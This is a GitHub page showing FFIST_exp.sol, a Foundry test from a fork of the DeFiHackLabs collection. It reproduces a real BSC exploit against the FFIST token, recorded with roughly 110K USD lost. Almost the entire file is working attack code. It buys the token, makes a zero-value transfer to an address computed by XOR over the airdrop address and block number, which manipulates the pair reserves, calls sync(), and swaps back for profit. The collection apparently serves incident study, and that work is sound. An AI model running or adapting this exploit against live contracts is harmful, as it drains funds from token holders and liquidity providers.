forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
FFIST_exp.sol
81 lines (69 loc) · 3.04 KB
/
FFIST_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~110K USD$
// Attacker : https://bscscan.com/address/0xcc8617331849962c27f91859578dc91922f6f050
// Attack Contract : https://bscscan.com/address/0xb31c7b7bdf69554345e47a4393f53c332255c9fb
// Vulnerable Contract : https://bscscan.com/address/0x80121da952a74c06adc1d7f85a237089b57af347
// Attack Tx : https://bscscan.com/tx/0x199c4b88cab6b4b495b9d91af98e746811dd8f82f43117c48205e6332db9f0e0
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x80121da952a74c06adc1d7f85a237089b57af347#code
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1681869807698984961
// Twitter Guy : https://twitter.com/AnciliaInc/status/1681901107940065280
// Hacking God : https://www.google.com/
interface IairdropToken is IERC20 {
function lastAirdropAddress() external view returns (address);
}
contract ContractTest is Test {
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IairdropToken FFIST = IairdropToken(0x80121DA952A74c06adc1d7f85A237089b57AF347);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
address Pair = 0x7a3Adf2F6B239E64dAB1738c695Cf48155b6e152;
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
function setUp() public {
vm.createSelectFork("bsc", 30_113_117);
vm.label(address(WBNB), "WBNB");
vm.label(address(FFIST), "FFIST");
vm.label(address(USDT), "USDT");
vm.label(address(Router), "Router");
}
function testExploit() external {
deal(address(WBNB), address(this), 0.01 ether);
WBNB.approve(address(Router), type(uint256).max);
FFIST.approve(address(Router), type(uint256).max);
WBNBToFFIST();
pairReserveManipulation();
FFISTToWBNB();
emit log_named_decimal_uint(
"Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
);
}
function pairReserveManipulation() internal {
address to = address(
uint160(address(this)) ^ (uint160(FFIST.lastAirdropAddress()) | uint160(block.number)) ^ uint160(Pair)
);
FFIST.transfer(to, 0);
Uni_Pair_V2(Pair).sync();
}
function WBNBToFFIST() internal {
address[] memory path = new address[](3);
path[0] = address(WBNB);
path[1] = address(USDT);
path[2] = address(FFIST);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}
function FFISTToWBNB() internal {
address[] memory path = new address[](3);
path[0] = address(FFIST);
path[1] = address(USDT);
path[2] = address(WBNB);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
FFIST.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}
}